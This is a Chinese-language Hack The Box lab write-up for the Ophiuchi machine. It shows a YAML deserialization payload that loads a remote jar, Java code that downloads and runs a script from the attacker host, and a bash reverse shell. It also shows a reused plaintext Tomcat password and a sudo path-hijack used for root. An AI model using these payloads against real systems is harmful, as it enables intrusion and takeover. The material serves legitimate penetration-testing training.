【Hack The Box】linux练习-- Ophiuchi

HTB 学习笔记

【Hack The Box】linux练习-- Ophiuchi


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8080

Parse YAML
在这里插入图片描述死页面,啥都干不了,输入一个东西他说网站已经关闭

目录爆破

目录爆破命令就不写了

得到
/test (Status: 302)
/manager (Status: 302)

manager页面要求登陆

在这里插入图片描述
YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象,这就是反序列化。

尽管该网站说它已关闭,但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。 我将尝试使用 YAML 反序列化负载进行检查。 由于服务器是 Tomcat,我将寻找基于 Java 的有效载荷。

java-yaml反序列化

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.7/"]
  ]]
]

本地开启的python 服务器回收到信号
说明反序列化成功
关于yaml反序列化的利用,利用

https://github.com/artsploit/yaml-payload
https://github.com/mbechler/marshalsec

修改payload,而后修改payload让他请求我们的恶意jar包

操作

  1. 下载
    proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
    得到src
  2. 修改AwesomeScriptEngineFactory.java
    在这里插入图片描述
  3. 编译
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf ping.jar -C src/ .  //打包

得到了一个ping.jar
在这里插入图片描述
4. 开一个python服务器以及一个icmp监听

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.29/ping.jar"]
  ]]
]

请求这个ping包
我们发现本地的icmp收到了ping
所以我们的道路通畅
接下来修改命令来执行命令
在这里插入图片描述
那么这是确定存在rce,在java中,实现rce的手段我们通常选择如下利用.sh脚本的方法

获取shell

  1. 写一个脚本
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
  1. 修改java文件
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
            Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");
            Runtime.getRuntime().exec("bash /tmp/shell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

重新编译打包运行

javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .

在这里插入图片描述

tomcat ->admin

作为tomcat用户,当前主目录是 /opt/tomcat:
/opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码:

找到密码
whythereisalimit

su admin

密码重用成功

在这里插入图片描述

admin->root

在这里插入图片描述
没有go的二进制提权
看一下那个index.go文件是个什么情况

package main
import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

他会导入几个模块,然后定义一个函数,读取main.wasm,然后放到一个新的实例,然后返回的如果不是1,就输出Not ready to deploy",如果是1,就/bin/sh", "deploy.sh,执行这个脚本

我直接执行,没用

sudo /usr/bin/go run /opt/wasm-functions/index.go

并且会报错,那我先找到main.wasm,然后执行一下看看

find / -name "main.wasm" 2>/dev/null

在这里插入图片描述
两个目录都是第一种情况
在这里插入图片描述那么接下来就是要想办法让返回值是1

wasm

WASM 或 Web Assembly 是一种二进制指令格式,用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序,但它也可以在其他环境中运行。

proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm 
到这里就可以生成一个main.wasm 

将转换 main.wasm转换成 WebAssembly 文本格式(从二进制格式):

在这里插入图片描述
因为 Go 程序对main.wasm 的调用不使用绝对路径,所以我可以控制两者 main.wasm和 deploy.sh. 我会写一个 main.wasm返回 1 和一个 deploy.sh

修改

把返回值改成1,在wat中他是const后的参数
将main.wasm 转换为main.wat以便修改

wasm2wat main.wasm -o main.wat

在这里插入图片描述
修改完再变回来

wat2wasm main.wat -o main.wasm

这个脚本就很普通了,正常的一个赋权脚本

deploy.sh

#!/bin/bash

chmod +x /bin/bash

传输到靶机/tmp目录

然后给当前目录临时写进环境变量

export PATH=/tmp:$PATH

在这里插入图片描述脚本失效?nonono,我忘记赋权了
chmod +x

在这里插入图片描述截图是我尝试写入ssh密钥
用上面的脚本直接/bin/bash -p 即可

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值